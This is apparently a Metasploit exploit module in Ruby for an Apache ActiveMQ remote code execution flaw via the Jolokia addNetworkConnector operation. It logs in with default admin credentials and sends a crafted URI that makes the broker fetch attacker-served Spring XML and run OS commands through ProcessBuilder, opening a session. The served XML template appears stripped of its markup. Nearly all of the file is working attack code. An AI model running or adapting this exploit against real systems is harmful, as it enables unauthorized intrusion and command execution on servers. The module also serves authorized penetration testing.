# frozen_string_literal: true ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super( update_info( info, 'Name' => 'Apache ActiveMQ RCE via Jolokia addNetworkConnector', 'Description' => %q{ Apache ActiveMQ exposes a Jolokia JMX-over-HTTP API at /api/jolokia/. An authenticated attacker can invoke the addNetworkConnector() MBean operation with a crafted URI that causes the broker to fetch a remote Spring XML configuration over HTTP. The Spring XML instantiates a ProcessBuilder bean that executes attacker-supplied OS commands. Default credentials (admin:admin) are accepted by many installations. Verified on docker image }, 'Author' => [ 'dinosn', # Discovery and PoC 'h00die' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2026-34197'], ['URL', 'https://github.com/dinosn/CVE-2026-34197'], ['URL', 'https://horizon3.ai/attack-research/disclosures/cve-2026-34197-activemq-rce-jolokia/'] ], 'DisclosureDate' => '2026-04-29', 'Platform' => %w[linux unix win], 'Arch' => [ARCH_CMD], 'Privileged' => false, 'Stance' => Stance::Aggressive, 'Targets' => [ ['Windows', { 'Platform' => 'win' }], ['Linux', { 'Platform' => %w[linux unix] }], ['Unix', { 'Platform' => 'unix' }] ], 'DefaultTarget' => 1, 'DefaultOptions' => { 'WfsDelay' => 30 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options([ Opt::RPORT(8161), OptString.new('TARGETURI', [true, 'Base path to ActiveMQ web console', '/']), OptString.new('USERNAME', [true, 'Jolokia username', 'admin']), OptString.new('PASSWORD', [true, 'Jolokia password', 'admin']), OptString.new('BROKER_NAME', [false, 'Broker name (auto-detected if blank)', '']) ]) end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/api/jolokia/'), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) }) return CheckCode::Unknown('No response from target') unless res return CheckCode::Unknown('Authentication failed (401) — check USERNAME/PASSWORD') if res.code == 401 return CheckCode::Unknown('Jolokia access forbidden (403)') if res.code == 403 return CheckCode::Unknown("Unexpected HTTP status: #{res.code}") unless res.code == 200 data = res.get_json_document return CheckCode::Unknown('Could not parse Jolokia response') if data.empty? agent = data.dig('value', 'agent') || 'unknown' CheckCode::Appears("Jolokia accessible — agent version: #{agent}") end def on_request_uri(cli, request) vprint_status("#{request.method} #{request.uri}") case target['Platform'] when 'win' shell = 'cmd.exe' flag = '/c' else shell = '/bin/sh' flag = '-c' end xml = %( #{shell} #{flag} ) send_response(cli, xml, { 'Content-Type' => 'application/xml', 'Connection' => 'close', 'Pragma' => 'no-cache' }) print_good('Malicious Spring XML served — target will execute payload via ProcessBuilder') end def exploit start_service bname = detect_broker_name print_status("Using broker name: #{bname}") remove_network_connector(bname, 'NC') # static:(...) is the network connector discovery URI. # vm://#{Rex::Text.rand_text_alpha(8)} references a non-existent broker, forcing dynamic creation. # brokerConfig=xbean:http://... loads remote Spring XML config. malicious_uri = "static:(vm://#{Rex::Text.rand_text_alpha(8)}?brokerConfig=xbean:#{get_uri})" jolokia_body = { 'type' => 'exec', 'mbean' => "org.apache.activemq:type=Broker,brokerName=#{bname}", 'operation' => 'addNetworkConnector(java.lang.String)', 'arguments' => [malicious_uri] }.to_json print_status("Sending Jolokia exploit request to #{rhost}:#{rport}") vprint_status("Malicious URI: #{malicious_uri}") # Use a short timeout: ActiveMQ fetches our Spring XML and runs the payload # asynchronously, so the Jolokia POST often never returns a response. # We handle the session in the handler regardless. res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/api/jolokia/'), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'ctype' => 'application/json', 'data' => jolokia_body, 'headers' => { 'Origin' => "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}" }, 'timeout' => 10 }) if res.nil? print_status('Jolokia POST timed out — broker is likely fetching Spring XML and executing payload') elsif res.code == 401 fail_with(Failure::NoAccess, 'Authentication failed — check USERNAME/PASSWORD') elsif res.code != 200 print_warning("Unexpected HTTP status: #{res.code} — continuing anyway") else result = res.get_json_document if result.empty? print_warning('Could not parse Jolokia response — continuing anyway') elsif result['status'] == 200 print_good('Jolokia accepted the payload — waiting for target to fetch Spring XML...') else print_warning("Jolokia returned status #{result['status']}: #{result['error']}") end end handler end private def remove_network_connector(broker_name, connector_name) body = { 'type' => 'exec', 'mbean' => "org.apache.activemq:type=Broker,brokerName=#{broker_name}", 'operation' => 'removeNetworkConnector(java.lang.String)', 'arguments' => [connector_name] }.to_json res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/api/jolokia/'), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'ctype' => 'application/json', 'data' => body, 'headers' => { 'Origin' => "#{ssl ? 'https' : 'http'}://#{rhost}:#{rport}" } }) if res&.code == 200 vprint_status("Removed existing '#{connector_name}' network connector") else vprint_status("No existing '#{connector_name}' connector to remove (or removal failed) — continuing") end end def detect_broker_name return datastore['BROKER_NAME'] unless datastore['BROKER_NAME'].blank? res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/api/jolokia/read/org.apache.activemq:type=Broker,brokerName=*'), 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']) }) if res&.code == 200 data = res.get_json_document if !data.empty? && data['status'] == 200 && data['value'] data['value'].each_key do |mbean| mbean.split(',').each do |part| next unless part.start_with?('brokerName=') name = part.split('=', 2).last vprint_status("Discovered broker name: #{name}") return name end end end end vprint_status("Could not discover broker name, using default 'localhost'") 'localhost' end end